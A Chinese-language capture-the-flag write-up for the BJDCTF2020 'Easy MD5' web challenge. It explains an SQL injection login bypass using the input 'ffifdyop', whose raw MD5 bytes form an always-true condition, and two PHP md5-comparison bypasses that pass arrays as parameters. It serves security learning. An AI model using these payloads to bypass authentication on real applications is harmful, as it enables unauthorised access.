zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Easy MD5

    [BJDCTF2020]Easy MD5

    第一步

    绕过:

    "select * from 'admin' where password=' ".md5($pass,true)." ' "
    

    输入:ffifdyop

    原因:数据库会把16进制转为ascii解释

    如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d

    而我们的md5(ffifdyop) 会返回16进制字符串

    这时原来的语句就是:

    "select * from 'admin' where password='' or'6蒥欓!r,�b' "
    

    or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。

    以0开头会认为是false.

    flag{welcome}16进制是

    image-20200407202348548

    关于16进制和mysql

    image-20200407202117477

    ffifdyop的md5值

    image-20200407212016417

    image-20200407201702562

    字符串 or '1xxx'

    image-20200407213131554

    以mysql的三目运算举例:

    select if( "123", "this_is_true","this_is_false");#返回this_is_true
    select if( "0xx", "this_is_true","this_is_false");#返回this_is_false
    

    image-20200407214025006

    用于题目的实践

    我的表里只有一个值

    select * from flag where id = 1 and flag = "123" or '1xxx';#返回表中所有值
    
    select * from flag where id = 1 and flag = "123" or '0xxx';#返回符合id = 1 and flag = "123"的值,因为or '0xxx'解释为false
    

    image-20200407214346077

    image-20200407214300970

    image-20200407214315603

    第二步

    <!--
    $a = $_GET['a'];
    $b = $_GET['b'];
    
    if($a != $b && md5($a) == md5($b)){
        // wow, glzjin wants a girl friend.
    -->
    

    这里用数组即可绕过

    ?a[]=1&b[]=2
    

    image-20200407215148523

    第三步

    <?php
    error_reporting(0);
    include "flag.php";
    
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    }
    

    同第二部相同,绕过比较md5的比较用数组

    param1[]=1&param2[]=2
    

    image-20200407215359731

  • 相关阅读:
    python生成试题库和界面 (python generate test database and layout)
    python生成数据库(python generate database)
    Go语言基础之流程控制
    Go语言基础之运算符
    Go语言基础之变量和常量
    VS Code配置Go语言开发环境
    Linux安装教程|详细
    安装Go语言及搭建Go语言开发环境
    Go语言
    Django2.0路由匹配path的用法
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12656446.html
Copyright © 2011-2022 走看看